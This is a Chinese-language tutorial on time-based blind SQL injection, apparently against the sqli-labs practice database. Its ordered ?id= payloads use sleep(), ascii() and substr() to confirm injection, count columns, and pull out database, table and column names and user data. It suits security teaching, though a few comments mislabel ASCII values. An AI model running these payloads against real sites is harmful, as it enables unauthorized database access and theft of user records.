1、判断是否为SQL注入。
在后面加上?id=1',原因是因为引号加上不匹配就会报错,如果页面显示错误则是SQL注入。
?id=1'
2、判断字符型注入还是数字型注入。
(1)数字型
输入第二行代码,页面错误则是数字型。
?id=1 and 1=1
?id=1 and 1=2
(2)字符型
输入第二行代码,页面显示不正常则是字符型。
?id=1' and '1'='1
?id=1' and '1'='2
3、判断是否有闭合。
加上引号后延迟了8秒,代码放在引号里面会被当做字符并不会执行任何功能,--+是为了注销源代码后面的limit0,1。
?id=1 and if(1=2,1,sleep(8))--+ (这里没有延迟8秒)
?id=1' and if(1=2,1,sleep(8))--+ (这里延迟了8秒)
源代码:
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";(无闭合)
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";(有闭合)
4、判断是否存在注入点。
?id=1' and 1=1--+
?id=1' and 1=2--+ (存在注入点)
5、猜测几列字段。
这里我们测试一下有几列字段,发现数字填写到4出现错误,填写到3正常,就证明是3列字段。
?id=1' order by 3--+ (正确,证明3列字段)
?id=1' order by 4--+ (错误)
6、判断是否盲注。
用一下常规查询发现没反应,可能是没回显,就要用到盲注了。
id=-1' union select 1,2,3--+
7、判断数据库的长度。
这里我们使用延时盲注,盲注是很费时间的,最好用工具sqlmap之类的;下面语句意思为:查询当前数据名的长度为8则网页延迟8秒访问,我这里延迟了8秒才访问成功说明数据库名是8的长度,length为判断长度,sleep为延迟,if声明条件,有闭合就加上引号没有闭合就不加自行判断。
?id=1 and if(length(database())=8,sleep(8),0)--+
8、查看数据库名。
这里译为查看当前数据库第7位字符,为116=ascii码=t则延迟8秒,网页搜索ascii码图表。
为什么要用ascii码不直接写't'?那是因为会被原来语句的引号相连接,则达不到自己要的效果,所以推荐使用ascii码。
自己根据ascii码图表一个一个的填进去测试,填写到等号后面并修改相应第几位。
?id=1' and if(ascii(substr(database(),7,1))=116,sleep(8),0)--+ (ascii码的注入)
?id=1' and sleep(if(mid(database(),7,1)='t',8,0))--+ (直接写字符的注入)
9、判断表明长度。
判断表名的长度,如果数据库名,表名,列名的字符都很长可以使用><符号来减少时间猜测。
下面译为简单理解为:查询数据库名为security下的第4行的表名的长度,长度为5则延迟8秒。(之所以这里写第4行,是因为数据库名,表名,列名的默认第一位号数是0)
对于一下代码的翻译:长度 查询 表名 来自 记录所有表名信息 的表 筛选 数据库名 为'security'中表名 第4行 的 表名长度为5,则延迟5秒。
?id=1' and if(length((select table_name from information_schema.tables where table_schema='security' limit 3,1))=5,sleep(8),1)--+
10、查询表名。
下面译为:查询数据库下的表名的第4行第5位字符是s=ascii码=115,则访问时间延迟8秒。
自己根据ascii码依次修改下面的3数值和5数值和115数值来查询相应的表名。
?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema=database()limit 3,1),5,1))=115,sleep(8),0)--+
11、查询列名。
下面译为:查询数据库下的表名下的第3行第8位是d=ascii码=100,则访问时间延迟8秒。
自己根据ascii码依次修改下面的2数值和8数值和100数值来查询相应的列名。
?id=1' and if(ascii(substr((select column_name from information_schema.columns where table_name='users' and table_schema=database()limit 2,1),8,1))=100,sleep(8),0)--+
12、判断列下的数据长度。
下面译为:查询数据库security下的username表下的users列下的第一行的长度为4则访问延迟10秒。
?id=1' and if(length((select username from security.users limit 0,1))=4,sleep(10),1)--+
13、查询列名下的数据。
下面译为:查询表名user下的列名username下的第一行数据字符第4个字符为b=ascii码=100,则访问延迟8秒。
自己根据ascii码依次修改下面的0数值和4数值和100数值来查询相应的数据字符。
?id=1 and if(ascii(substr((select username from users limit 0,1),4,1))=100,sleep(8),1)--+
查询顺序:(判断是否SQL注入)-(判断字符型还是数字型注入)-(判断是否有闭合)-(判断是否有注入点)-(猜几列字段)-(判断是否盲注)-(判断数据库长度)-(查看数据库名)-(判断表名长度)-(查询表名)-(判断列名长度)-(查询列名)-(判断列列下的数据长度)-(查询列名下的数据)